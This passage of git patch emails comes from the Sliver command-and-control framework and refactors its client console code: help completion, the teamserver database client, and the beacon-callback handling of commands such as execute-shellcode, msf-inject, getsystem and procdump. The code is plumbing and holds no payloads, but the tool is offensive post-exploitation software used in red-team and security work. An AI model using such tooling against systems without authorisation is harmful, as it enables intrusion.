should be available based on the current session/beacon. con.ExposeCommands() @@ -174,3 +178,41 @@ func SliverCommands(con *client.SliverClient) console.Commands { return sliverCommands } + +func actionSubcommands(cmd *cobra.Command) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + batch := carapace.Batch() + for _, subcommand := range cmd.Commands() { + if !subcommand.Hidden && subcommand.Deprecated == "" { + batch = append(batch, carapace.ActionValuesDescribed(subcommand.Name(), subcommand.Short).Tag(subcommand.GroupID)) + for _, alias := range subcommand.Aliases { + batch = append(batch, carapace.ActionValuesDescribed(alias, subcommand.Short).Tag(subcommand.GroupID)) + } + } + } + return batch.ToA() + }) +} + +func initHelpCompletion(cmd *cobra.Command) { + helpCmd, _, err := cmd.Find([]string{"help"}) + if err != nil { + return + } + + if helpCmd.Name() != "help" || + helpCmd.Short != "Help about any command" || + !strings.HasPrefix(helpCmd.Long, `Help provides help for any command in the application.`) { + return + } + + carapace.Gen(helpCmd).PositionalAnyCompletion( + carapace.ActionCallback(func(c carapace.Context) carapace.Action { + lastCmd, _, err := cmd.Find(c.Args) + if err != nil { + return carapace.ActionMessage(err.Error()) + } + return actionSubcommands(lastCmd) + }), + ) +} From 83c35656b98446e5386d83a5f3b3e0a008465ae7 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 09:59:16 +0200 Subject: [PATCH 078/124] Fix teamserver not using the db.Client --- client/command/taskmany/taskmany.go | 3 +++ server/transport/server.go | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/client/command/taskmany/taskmany.go b/client/command/taskmany/taskmany.go index 4fff9c95c9..3424c486ed 100644 --- a/client/command/taskmany/taskmany.go +++ b/client/command/taskmany/taskmany.go @@ -47,6 +47,9 @@ func Command(con *console.SliverClient) []*cobra.Command { }, } + // Subcommands might have flags of their own. + taskmanyCmd.DisableFlagParsing = true + // Add the relevant beacon commands as a subcommand to taskmany // taskmanyCmds := map[string]bool{ // consts.ExecuteStr: true, diff --git a/server/transport/server.go b/server/transport/server.go index b4d9e715df..4ae54e25ac 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -63,7 +63,7 @@ func NewTeamserver() (team *server.Server, clientOpts []grpc.DialOption, err err // Core directories/loggers. server.WithHomeDirectory(assets.GetRootAppDir()), // ~/.sliver/ server.WithLogger(log.RootLogger), // Logs to ~/.sliver/logs/sliver.{log,json} and audit.json - server.WithDatabase(db.Session()), // Uses our traditional ~/.sliver/sliver.db for storing users. + server.WithDatabase(db.Client), // Uses our traditional ~/.sliver/sliver.db for storing users. // Network options/stacks server.WithDefaultPort(31337), // Our now famous port. From c7f5f48faf51f6294fafb211e1d1ddb4621167fe Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 18:32:33 +0200 Subject: [PATCH 079/124] Port all beacon commands to Cli usage compatibility --- client/command/alias/load.go | 9 +-- client/command/environment/get.go | 3 +- client/command/environment/set.go | 3 +- client/command/environment/unset.go | 3 +- client/command/exec/execute-assembly.go | 3 +- client/command/exec/execute-shellcode.go | 3 +- client/command/exec/execute.go | 3 +- client/command/exec/msf-inject.go | 3 +- client/command/exec/msf.go | 3 +- client/command/exec/sideload.go | 3 +- client/command/exec/spawndll.go | 3 +- client/command/exec/ssh.go | 3 +- client/command/extensions/load.go | 3 +- client/command/filesystem/cat.go | 3 +- client/command/filesystem/cd.go | 3 +- client/command/filesystem/chmod.go | 3 +- client/command/filesystem/chown.go | 3 +- client/command/filesystem/chtimes.go | 3 +- client/command/filesystem/cp.go | 3 +- client/command/filesystem/download.go | 3 +- client/command/filesystem/ls.go | 3 +- client/command/filesystem/memfiles-add.go | 3 +- client/command/filesystem/memfiles-list.go | 3 +- client/command/filesystem/memfiles-rm.go | 3 +- client/command/filesystem/mkdir.go | 3 +- client/command/filesystem/mv.go | 3 +- client/command/filesystem/pwd.go | 3 +- client/command/filesystem/rm.go | 3 +- client/command/filesystem/upload.go | 3 +- client/command/info/info.go | 3 +- client/command/loot/remote.go | 3 +- client/command/network/ifconfig.go | 3 +- client/command/network/netstat.go | 3 +- client/command/prelude-operator/connect.go | 2 +- client/command/privilege/getprivs.go | 3 +- client/command/privilege/getsystem.go | 3 +- client/command/privilege/impersonate.go | 3 +- client/command/privilege/make-token.go | 3 +- client/command/privilege/rev2self.go | 3 +- client/command/privilege/runas.go | 3 +- client/command/processes/procdump.go | 3 +- client/command/processes/ps.go | 3 +- client/command/processes/terminate.go | 3 +- client/command/reconfig/reconfig.go | 3 +- client/command/registry/reg-create.go | 3 +- client/command/registry/reg-delete.go | 3 +- client/command/registry/reg-list.go | 6 +- client/command/registry/reg-read.go | 3 +- client/command/registry/reg-write.go | 3 +- client/command/screenshot/screenshot.go | 3 +- client/command/tasks/commands.go | 37 ++++++++++- client/command/wasm/wasm.go | 2 +- client/console/console.go | 45 +++++++++++-- client/console/events.go | 75 ++++++++++++++++------ client/console/log.go | 7 +- client/console/teamclient.go | 4 ++ client/constants/constants.go | 1 + 57 files changed, 194 insertions(+), 135 deletions(-) diff --git a/client/command/alias/load.go b/client/command/alias/load.go index 7c684f1bab..470fadd946 100644 --- a/client/command/alias/load.go +++ b/client/command/alias/load.go @@ -379,7 +379,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async { - con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(executeAssemblyResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, executeAssemblyResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -387,7 +387,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con) }) - con.PrintAsyncResponse(executeAssemblyResp.Response) } else { PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con) } @@ -418,7 +417,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } if spawnDllResp.Response != nil && spawnDllResp.Response.Async { - con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(spawnDllResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, spawnDllResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -426,7 +425,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con) }) - con.PrintAsyncResponse(spawnDllResp.Response) } else { PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con) } @@ -458,7 +456,7 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } if sideloadResp.Response != nil && sideloadResp.Response.Async { - con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sideloadResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sideloadResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -466,7 +464,6 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con) }) - con.PrintAsyncResponse(sideloadResp.Response) } else { PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con) } diff --git a/client/command/environment/get.go b/client/command/environment/get.go index 1220a21d8d..70249ce75d 100644 --- a/client/command/environment/get.go +++ b/client/command/environment/get.go @@ -49,7 +49,7 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if envInfo.Response != nil && envInfo.Response.Async { - con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(envInfo.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, envInfo) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -57,7 +57,6 @@ func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintGetEnvInfo(envInfo, con) }) - con.PrintAsyncResponse(envInfo.Response) } else { PrintGetEnvInfo(envInfo, con) } diff --git a/client/command/environment/set.go b/client/command/environment/set.go index db40bed37e..244766f0be 100644 --- a/client/command/environment/set.go +++ b/client/command/environment/set.go @@ -55,7 +55,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if envInfo.Response != nil && envInfo.Response.Async { - con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(envInfo.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, envInfo) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -63,7 +63,6 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintSetEnvInfo(name, value, envInfo, con) }) - con.PrintAsyncResponse(envInfo.Response) } else { PrintSetEnvInfo(name, value, envInfo, con) } diff --git a/client/command/environment/unset.go b/client/command/environment/unset.go index 8e21fefd38..e938aa63ce 100644 --- a/client/command/environment/unset.go +++ b/client/command/environment/unset.go @@ -50,7 +50,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if unsetResp.Response != nil && unsetResp.Response.Async { - con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(unsetResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, unsetResp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -58,7 +58,6 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintUnsetEnvInfo(name, unsetResp, con) }) - con.PrintAsyncResponse(unsetResp.Response) } else { PrintUnsetEnvInfo(name, unsetResp, con) } diff --git a/client/command/exec/execute-assembly.go b/client/command/exec/execute-assembly.go index 15f55d779e..d2418760ff 100644 --- a/client/command/exec/execute-assembly.go +++ b/client/command/exec/execute-assembly.go @@ -116,7 +116,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st } hostName := getHostname(session, beacon) if execAssembly.Response != nil && execAssembly.Response.Async { - con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(execAssembly.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, execAssembly) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -125,7 +125,6 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con) }) - con.PrintAsyncResponse(execAssembly.Response) } else { HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con) } diff --git a/client/command/exec/execute-shellcode.go b/client/command/exec/execute-shellcode.go index e85a2839cb..27d0adae09 100644 --- a/client/command/exec/execute-shellcode.go +++ b/client/command/exec/execute-shellcode.go @@ -112,7 +112,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s } if shellcodeTask.Response != nil && shellcodeTask.Response.Async { - con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(shellcodeTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, shellcodeTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -120,7 +120,6 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s } PrintExecuteShellcode(shellcodeTask, con) }) - con.PrintAsyncResponse(shellcodeTask.Response) } else { PrintExecuteShellcode(shellcodeTask, con) } diff --git a/client/command/exec/execute.go b/client/command/exec/execute.go index e64049af1a..8939d30404 100644 --- a/client/command/exec/execute.go +++ b/client/command/exec/execute.go @@ -97,7 +97,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } if exec.Response != nil && exec.Response.Async { - con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(exec.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, exec) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -105,7 +105,6 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } HandleExecuteResponse(exec, cmdPath, hostName, cmd, con) }) - con.PrintAsyncResponse(exec.Response) } else { HandleExecuteResponse(exec, cmdPath, hostName, cmd, con) } diff --git a/client/command/exec/msf-inject.go b/client/command/exec/msf-inject.go index c0cda6d239..c0283c1898 100644 --- a/client/command/exec/msf-inject.go +++ b/client/command/exec/msf-inject.go @@ -83,7 +83,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } if msfTask.Response != nil && msfTask.Response.Async { - con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(msfTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, msfTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -91,7 +91,6 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } PrintMsfRemote(msfTask, con) }) - con.PrintAsyncResponse(msfTask.Response) } else { PrintMsfRemote(msfTask, con) } diff --git a/client/command/exec/msf.go b/client/command/exec/msf.go index 02302ab730..27cce40953 100644 --- a/client/command/exec/msf.go +++ b/client/command/exec/msf.go @@ -76,7 +76,7 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } if msfTask.Response != nil && msfTask.Response.Async { - con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(msfTask.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, msfTask) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -84,7 +84,6 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintMsfRemote(msfTask, con) }) - con.PrintAsyncResponse(msfTask.Response) } else { PrintMsfRemote(msfTask, con) } diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index 1c036a4b18..5ff2a6ce52 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -79,7 +79,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hostName := getHostname(session, beacon) if sideload.Response != nil && sideload.Response.Async { - con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sideload.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sideload) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -88,7 +88,6 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { HandleSideloadResponse(sideload, binPath, hostName, cmd, con) }) - con.PrintAsyncResponse(sideload.Response) } else { HandleSideloadResponse(sideload, binPath, hostName, cmd, con) } diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index 83d064c36d..7bbfd7f7a6 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -68,7 +68,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { hostName := getHostname(session, beacon) if spawndll.Response != nil && spawndll.Response.Async { - con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(spawndll.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, spawndll) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -77,7 +77,6 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con) }) - con.PrintAsyncResponse(spawndll.Response) } else { HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con) } diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index 67e8fac562..ae899110ba 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -105,7 +105,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if sshCmd.Response != nil && sshCmd.Response.Async { - con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(sshCmd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, sshCmd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -113,7 +113,6 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintSSHCmd(sshCmd, con) }) - con.PrintAsyncResponse(sshCmd.Response) } else { PrintSSHCmd(sshCmd, con) } diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index b70d8f76d2..48a666f6d3 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -373,7 +373,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } if callExtResp.Response != nil && callExtResp.Response.Async { - con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(callExtResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, callExtResp) if err != nil { con.PrintErrorf("Failed to decode call ext response %s\n", err) @@ -381,7 +381,6 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintExtOutput(extName, ext.CommandName, callExtResp, con) }) - con.PrintAsyncResponse(callExtResp.Response) } else { PrintExtOutput(extName, ext.CommandName, callExtResp, con) } diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index 5fa1d54d89..63dc0a1d6d 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -65,7 +65,7 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -73,7 +73,6 @@ func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintCat(download, cmd, con) }) - con.PrintAsyncResponse(download.Response) } else { PrintCat(download, cmd, con) } diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 411a36dfcf..22e763d654 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -49,7 +49,7 @@ func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if pwd.Response != nil && pwd.Response.Async { - con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(pwd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, pwd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -57,7 +57,6 @@ func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintPwd(pwd, con) }) - con.PrintAsyncResponse(pwd.Response) } else { PrintPwd(pwd, con) } diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index b25bb983de..4180969f26 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -61,7 +61,7 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if chmod.Response != nil && chmod.Response.Async { - con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chmod.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chmod) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -69,7 +69,6 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintChmod(chmod, con) }) - con.PrintAsyncResponse(chmod.Response) } else { PrintChmod(chmod, con) } diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index 9f980fe5e6..c43b2daa1d 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -69,7 +69,7 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if chown.Response != nil && chown.Response.Async { - con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chown.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chown) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -77,7 +77,6 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintChown(chown, con) }) - con.PrintAsyncResponse(chown.Response) } else { PrintChown(chown, con) } diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index fdb2784174..8035496f92 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -82,7 +82,7 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if chtimes.Response != nil && chtimes.Response.Async { - con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(chtimes.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, chtimes) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -90,7 +90,6 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintChtimes(chtimes, con) }) - con.PrintAsyncResponse(chtimes.Response) } else { PrintChtimes(chtimes, con) } diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index 7e73bf6059..a5b994f791 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -55,14 +55,13 @@ func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err er cp.Src, cp.Dst = src, dst if cp.Response != nil && cp.Response.Async { - con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(cp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, cp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) return } }) - con.PrintAsyncResponse(cp.Response) } else { PrintCp(cp, con) } diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index 01d6d111e6..25f1f8b9a1 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -61,7 +61,7 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -69,7 +69,6 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } HandleDownloadResponse(download, cmd, args, con) }) - con.PrintAsyncResponse(download.Response) } else { HandleDownloadResponse(download, cmd, args, con) } diff --git a/client/command/filesystem/ls.go b/client/command/filesystem/ls.go index 84480548b8..a500c51191 100644 --- a/client/command/filesystem/ls.go +++ b/client/command/filesystem/ls.go @@ -59,7 +59,7 @@ func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if ls.Response != nil && ls.Response.Async { - con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ls.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ls) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -67,7 +67,6 @@ func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintLs(ls, cmd.Flags(), con) }) - con.PrintAsyncResponse(ls.Response) } else { PrintLs(ls, cmd.Flags(), con) } diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index 26db52ae24..715166c6de 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -42,7 +42,7 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string return } if memfilesAdd.Response != nil && memfilesAdd.Response.Async { - con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesAdd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesAdd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -50,7 +50,6 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string } PrintAddMemfile(memfilesAdd, con) }) - con.PrintAsyncResponse(memfilesAdd.Response) } else { PrintAddMemfile(memfilesAdd, con) } diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index cc7c87cd54..57ef191c8e 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -48,7 +48,7 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []strin return } if memfilesList.Response != nil && memfilesList.Response.Async { - con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -56,7 +56,6 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []strin } PrintMemfiles(memfilesList, con) }) - con.PrintAsyncResponse(memfilesList.Response) } else { PrintMemfiles(memfilesList, con) } diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index ea1b9e6157..4989ae4891 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -52,7 +52,7 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) return } if memfilesList.Response != nil && memfilesList.Response.Async { - con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(memfilesList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, memfilesList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -60,7 +60,6 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) } PrintRmMemfile(memfilesList, con) }) - con.PrintAsyncResponse(memfilesList.Response) } else { PrintRmMemfile(memfilesList, con) } diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index 4be6d66136..96607fd8de 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -52,7 +52,7 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if mkdir.Response != nil && mkdir.Response.Async { - con.AddBeaconCallback(mkdir.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(mkdir.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, mkdir) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -60,7 +60,6 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintMkdir(mkdir, con) }) - con.PrintAsyncResponse(mkdir.Response) } else { PrintMkdir(mkdir, con) } diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index 7828eae797..baa88c6ccf 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -61,14 +61,13 @@ func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err er mv.Src, mv.Dst = src, dst if mv.Response != nil && mv.Response.Async { - con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(mv.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, mv) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) return } }) - con.PrintAsyncResponse(mv.Response) } else { PrintMv(mv, con) } diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 576cc32005..4111f67888 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -42,7 +42,7 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if pwd.Response != nil && pwd.Response.Async { - con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(pwd.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, pwd) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -50,7 +50,6 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintPwd(pwd, con) }) - con.PrintAsyncResponse(pwd.Response) } else { PrintPwd(pwd, con) } diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index d2ba107f78..20e775c2d2 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -57,7 +57,7 @@ func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { return } if rm.Response != nil && rm.Response.Async { - con.AddBeaconCallback(rm.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(rm.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, rm) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -65,7 +65,6 @@ func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } PrintRm(rm, con) }) - con.PrintAsyncResponse(rm.Response) } else { PrintRm(rm, con) } diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index 340b4f24e1..7c39b485ec 